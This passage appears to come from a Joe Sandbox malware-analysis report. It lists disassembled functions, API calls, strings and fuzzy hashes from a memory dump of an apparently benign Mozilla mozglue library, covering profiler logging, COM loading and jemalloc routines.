VerSetConditionMask.NTDLL ref: 6C5A16E5
VerSetConditionMask.NTDLL ref: 6C5A16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5A16F9

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 066bb6d4debb7ba72d1163bd3c3678217d2ddd058283c96eb9e72b06658911fb
Instruction ID: c6242a14ec1fcb8b3ad9a5ae7b913c7af4ff2e9d846d61fc7e4cfd7264f9e246
Opcode Fuzzy Hash: 066bb6d4debb7ba72d1163bd3c3678217d2ddd058283c96eb9e72b06658911fb
Instruction Fuzzy Hash: 3621D5B0744208AFEB106BA98C8AFBB737CDFC6704F004529F6059BA90C675DD5486A6

Function 6C5DF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5CCBE8: GetCurrentProcess.KERNEL32(?,6C5931A7), ref: 6C5CCBF1
Part of subcall function 6C5CCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5931A7), ref: 6C5CCBFA

Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5A4A68), ref: 6C5D945E
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D9470
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D9482
Part of subcall function 6C5D9420: __Init_thread_footer.LIBCMT ref: 6C5D949F

GetCurrentThreadId.KERNEL32 ref: 6C5DF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5DF598), ref: 6C5DF621

Part of subcall function 6C5D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5D94EE
Part of subcall function 6C5D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5D9508

GetCurrentThreadId.KERNEL32 ref: 6C5DF637
AcquireSRWLockExclusive.KERNEL32(6C61F4B8,?,?,00000000,?,6C5DF598), ref: 6C5DF645
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8,?,?,00000000,?,6C5DF598), ref: 6C5DF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5DF62A

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 796dbc097122c91bc3cd423e34d13bcdbe53044db91e82f1d55d5c16545c10a3
Instruction ID: 099c860c7cb8cb37bf8a8b93df1bdcb2cb7916885e3f3a68a7cea99a0db0b961
Opcode Fuzzy Hash: 796dbc097122c91bc3cd423e34d13bcdbe53044db91e82f1d55d5c16545c10a3
Instruction Fuzzy Hash: 0D11C471205204AFCB04AF5ECC8599577B9FFC635AF110016EA0583F02CB71BC21CBA9

Function 6C5A2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5CAB89: EnterCriticalSection.KERNEL32(6C61E370,?,?,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284), ref: 6C5CAB94
Part of subcall function 6C5CAB89: LeaveCriticalSection.KERNEL32(6C61E370,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C5CABD1

LoadLibraryW.KERNEL32(combase.dll,6C5A1C5F), ref: 6C5A20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5A20CD
__Init_thread_footer.LIBCMT ref: 6C5A20E1
FreeLibrary.KERNEL32 ref: 6C5A2124

Strings

combase.dll, xrefs: 6C5A20A9
CoInitializeSecurity, xrefs: 6C5A20C7

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 758126b2db2a3d7599d3eebbd99237c6def2b89b6425f4cf6dbecfde23ef7c03
Instruction ID: fccbcec691bddff716140b6e2410455254fb9f4ee3de5d77c1932b4e37e09bcb
Opcode Fuzzy Hash: 758126b2db2a3d7599d3eebbd99237c6def2b89b6425f4cf6dbecfde23ef7c03
Instruction Fuzzy Hash: C7218375200109EFDF11CF9BDD8AD9A3F76FB5A356F00401AFA0852A10D7319862CF56

Function 6C5F76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5F76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C5F7705

Part of subcall function 6C5ACA10: malloc.MOZGLUE(?), ref: 6C5ACA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5F7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C5F778F,00000000,00000000,00000000,00000000), ref: 6C5F7731
free.MOZGLUE(00000000), ref: 6C5F7760

Strings

}>]l, xrefs: 6C5F76C4

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>]l
API String ID: 2538299546-3723846061
Opcode ID: 10aeac850ccc1854866869e8a353dab1b18844d0018da330d488395424e11d03
Instruction ID: cba1583340912fecac6e68ef84b4424cd3d2a51ff6b12b0a28d0d0788de28939
Opcode Fuzzy Hash: 10aeac850ccc1854866869e8a353dab1b18844d0018da330d488395424e11d03
Instruction Fuzzy Hash: 6911C8B1905215AFDB10AF7A8D44B6B7EE8EF85354F044429F848E7700E7719C408BE2

Function 6C5A1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5CAB89: EnterCriticalSection.KERNEL32(6C61E370,?,?,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284), ref: 6C5CAB94
Part of subcall function 6C5CAB89: LeaveCriticalSection.KERNEL32(6C61E370,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C5CABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C5A1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C5A1FFD
__Init_thread_footer.LIBCMT ref: 6C5A2011
FreeLibrary.KERNEL32 ref: 6C5A2059

Strings

CoCreateInstance, xrefs: 6C5A1FF7
combase.dll, xrefs: 6C5A1FD9

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 16aac8719f18c05e157972070ad7fa6ddfadb9dc7e75ecc8745bfddc5430aa4d
Instruction ID: e20a03a23cbeb535896059a15020b3efdfe8fff028a703936dc40c42eaa4288e
Opcode Fuzzy Hash: 16aac8719f18c05e157972070ad7fa6ddfadb9dc7e75ecc8745bfddc5430aa4d
Instruction Fuzzy Hash: F2114FB5205204EFDF10CF9BCC8EE5A3B79FB9635AF00401AE90982E50E7319861CF66

Function 6C5A0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5CAB89: EnterCriticalSection.KERNEL32(6C61E370,?,?,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284), ref: 6C5CAB94
Part of subcall function 6C5CAB89: LeaveCriticalSection.KERNEL32(6C61E370,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C5CABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C5CD9F0,00000000), ref: 6C5A0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C5A0F3C
__Init_thread_footer.LIBCMT ref: 6C5A0F50
FreeLibrary.KERNEL32(?,6C5CD9F0,00000000), ref: 6C5A0F86

Strings

combase.dll, xrefs: 6C5A0F18
CoInitializeEx, xrefs: 6C5A0F36

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 26e20a26472f463a85e8931bb9f0970e04fe20931c8c66cdd422f14c4d332a45
Instruction ID: 3e214082e417ea032b29e6bc6d954dae80ba1ec94637a15bf7380eff234d00df
Opcode Fuzzy Hash: 26e20a26472f463a85e8931bb9f0970e04fe20931c8c66cdd422f14c4d332a45
Instruction Fuzzy Hash: E1115174705240DBDF00CFAFCD89A593B75E79A327F00461BE906A2F40D732A406CA5E

Function 6C5DF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5A4A68), ref: 6C5D945E
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D9470
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D9482
Part of subcall function 6C5D9420: __Init_thread_footer.LIBCMT ref: 6C5D949F

GetCurrentThreadId.KERNEL32 ref: 6C5DF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5DF561

Part of subcall function 6C5D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5D94EE
Part of subcall function 6C5D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5D9508

GetCurrentThreadId.KERNEL32 ref: 6C5DF577
AcquireSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DF585
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8), ref: 6C5DF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C5DF499
[I %d/%d] profiler_pause_sampling, xrefs: 6C5DF3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5DF56A
[I %d/%d] profiler_resume, xrefs: 6C5DF239

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 82f321f688217f2828c41ff7bb368f94b2da5267cf4567f91f837d9d44639c16
Instruction ID: e92580e9f5311eafa7b5308a557ab13e9593068eb71533378486dcb8a9c81c44
Opcode Fuzzy Hash: 82f321f688217f2828c41ff7bb368f94b2da5267cf4567f91f837d9d44639c16
Instruction Fuzzy Hash: 93F030B56002049FDB006F6F9C8AA5A7BBDEBC629FF010416EA0583B02DB755C05876D

Function 6C5A0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C5A0DF8), ref: 6C5A0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C5A0EA1
__Init_thread_footer.LIBCMT ref: 6C5A0EB5
FreeLibrary.KERNEL32 ref: 6C5A0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C5A0E9B
kernel32.dll, xrefs: 6C5A0E7D

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 67b0d4ce5d547529eec41c1b16079e6f4c9fe61ffb564a1bf2599e4dda05bf57
Instruction ID: 1b7839150e4c7334733414f943f476f63de3cc3487c1297df81eb713f84fd5ac
Opcode Fuzzy Hash: 67b0d4ce5d547529eec41c1b16079e6f4c9fe61ffb564a1bf2599e4dda05bf57
Instruction Fuzzy Hash: 3E012874700281CBDB00DFEFE996A4637B6E78631AF10452BD90682F60DB70A40A9A0B

Function 6C5DF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5A4A68), ref: 6C5D945E
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D9470
Part of subcall function 6C5D9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D9482
Part of subcall function 6C5D9420: __Init_thread_footer.LIBCMT ref: 6C5D949F

GetCurrentThreadId.KERNEL32 ref: 6C5DF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5DF598), ref: 6C5DF621

Part of subcall function 6C5D94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5D94EE
Part of subcall function 6C5D94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5D9508

GetCurrentThreadId.KERNEL32 ref: 6C5DF637
AcquireSRWLockExclusive.KERNEL32(6C61F4B8,?,?,00000000,?,6C5DF598), ref: 6C5DF645
ReleaseSRWLockExclusive.KERNEL32(6C61F4B8,?,?,00000000,?,6C5DF598), ref: 6C5DF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5DF62A

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 9b85c21ec42f5ce88635093ef6f73e9b576c709c420647370dbb29d0ca4d7c70
Instruction ID: 7d1020b8f73e7d8cc201b242308153a02cebad4e0a1d7d74f9276ed9ecc57051
Opcode Fuzzy Hash: 9b85c21ec42f5ce88635093ef6f73e9b576c709c420647370dbb29d0ca4d7c70
Instruction Fuzzy Hash: E2F030B5200204AFDB006B6F9C8AA5A7BBDEBC629FF050416FA0583F42CB755C06C76D

Function 6C5D05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C5CCFAE,?,?,?,6C5931A7), ref: 6C5D05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C5CCFAE,?,?,?,6C5931A7), ref: 6C5D0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5931A7), ref: 6C5D061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5931A7), ref: 6C5D0627

Strings

<jemalloc>, xrefs: 6C5D05FA, 6C5D060F
: (malloc) Error in VirtualFree(), xrefs: 6C5D061B, 6C5D0625

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: b375ba1e2e7e9dd40833d0efecc3e58aa9f4d319aade1454e1a1dbef48612b7f
Instruction ID: 383de6a0bb5f38d56ee154ff23211c592f9e0a53b9906288f4ec4fa6afb3e7fb
Opcode Fuzzy Hash: b375ba1e2e7e9dd40833d0efecc3e58aa9f4d319aade1454e1a1dbef48612b7f
Instruction Fuzzy Hash: BBE086E2A1101037F51822566C86DBB761CDBC6134F040039FE0D53301E94AAD1951FB

Function 6C5A05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e63de34b6a0cf5f41c45b1f8160481dc7c9d494bdf9aa11e05a9d70a796a8dc2
Instruction ID: 5d43813be9fc138aeccd3f31c88023db03e20b2000e09d438b4c32667149ff6c
Opcode Fuzzy Hash: e63de34b6a0cf5f41c45b1f8160481dc7c9d494bdf9aa11e05a9d70a796a8dc2
Instruction Fuzzy Hash: 3DA148B0A01645CFDB14CF6AC994A9EFBF1BF89304F44866ED44A97B00E731A946CF91

Function 6C5F14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F14E2
GetCurrentThreadId.KERNEL32 ref: 6C5F1546
InitializeConditionVariable.KERNEL32(?), ref: 6C5F15BA
free.MOZGLUE(?), ref: 6C5F16B4

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 525c46dcd8dab603997a94fe935cf509c84ee8fa38621baf86ed97491c2cbda9
Instruction ID: fc83b11e783de84da150e341d4d5a05ab91724bdaf891471bc86ec4942e7fe91
Opcode Fuzzy Hash: 525c46dcd8dab603997a94fe935cf509c84ee8fa38621baf86ed97491c2cbda9
Instruction Fuzzy Hash: FA61EEB1A00700DBDB158F25CC80BDEB7B1BF89308F44851DE98A67702DB31E94ACB92

Function 6C5E9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5E9FDB
free.MOZGLUE(?,?), ref: 6C5E9FF0
free.MOZGLUE(?,?), ref: 6C5EA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5EA0BE
free.MOZGLUE(?,?), ref: 6C5EA0D5
free.MOZGLUE(?,?), ref: 6C5EA0EB

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6ddb6320dbbe98f9669e2c96c121042870ec665d1604c9256ccd921fa3fd49c5
Instruction ID: b8d34b56343321d03063249c01ffd11d162a5183148c3bd634d9c7f7ef0020aa
Opcode Fuzzy Hash: 6ddb6320dbbe98f9669e2c96c121042870ec665d1604c9256ccd921fa3fd49c5
Instruction Fuzzy Hash: 38618F75508741DFC712CF18C88059AB7F5FFC8328F548659E8999BA02E731E986CBC1

Function 6C5EDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C5ED38A,?), ref: 6C5EDC6F
free.MOZGLUE(?,?,?,?,?,6C5ED38A,?), ref: 6C5EDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C5ED38A,?), ref: 6C5EDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C5ED38A,?), ref: 6C5EDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C5ED38A,?), ref: 6C5EDD4A

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 55f77aa098b8df6cec52be1c2cb6da12ca816c9d368536d59f34daec63942207
Instruction ID: 30e09ca4116156106bdbf63b7e21d9aa78f6b1f59b4d32b57f0389466720d86e
Opcode Fuzzy Hash: 55f77aa098b8df6cec52be1c2cb6da12ca816c9d368536d59f34daec63942207
Instruction Fuzzy Hash: F04169B5A00216CFCB04CFA9C880A9ABBF6FF8C314B554569E949ABB11D771FC00CB90

Function 6C5EC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C5EC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C5EC842

Part of subcall function 6C5ECAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C60B5EB,00000000), ref: 6C5ECB12

